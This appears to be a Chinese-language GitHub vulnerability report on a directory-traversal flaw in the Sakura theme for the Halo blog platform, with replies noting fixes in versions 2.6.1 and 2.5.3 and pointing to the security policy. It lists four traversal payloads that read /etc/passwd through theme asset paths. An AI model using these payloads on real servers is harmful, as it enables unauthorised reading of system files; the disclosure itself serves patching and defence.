对我的个人网站halo使用的Sakura樱花主题进行渗透测试，在过程中发现存储服务器遍历漏洞，包括但不限于payload如下： /themes/theme-sakura/assets/images/svg//../../../../../../../../etc/passwd /themes/theme-sakura/assets/languages//../../../../../../../../etc/passwd /themes/theme-sakura/assets/lib/tocbot//../../../../../../../../etc/passwd /themes/theme-sakura/assets/lib/justifiedGallery//../../../../../../../../etc/passwd 相关图片： https://user-images.githubusercontent.com/64532774/245067843-bd98db77-cd80-41b8-87d5-ec915280d8bb.png https://user-images.githubusercontent.com/64532774/245067257-07257367-f131-4f20-966a-b988a4434c08.png

已经在以下版本中修复： 2.6.1: https://github.com/halo-dev/halo/releases/tag/v2.6.1 2.5.3: https://github.com/halo-dev/halo/releases/tag/v2.5.3

Sakura-Halo 版本的樱花主题存在服务器遍历漏洞

如果发现安全问题，请按照 https://github.com/halo-dev/halo/security/policy 发送邮件到 hi@halo.run 进行反馈，谢谢。

此帖子可能会影响到其他用户的网站安全，所以不会通过审核。

已经在以下版本中修复：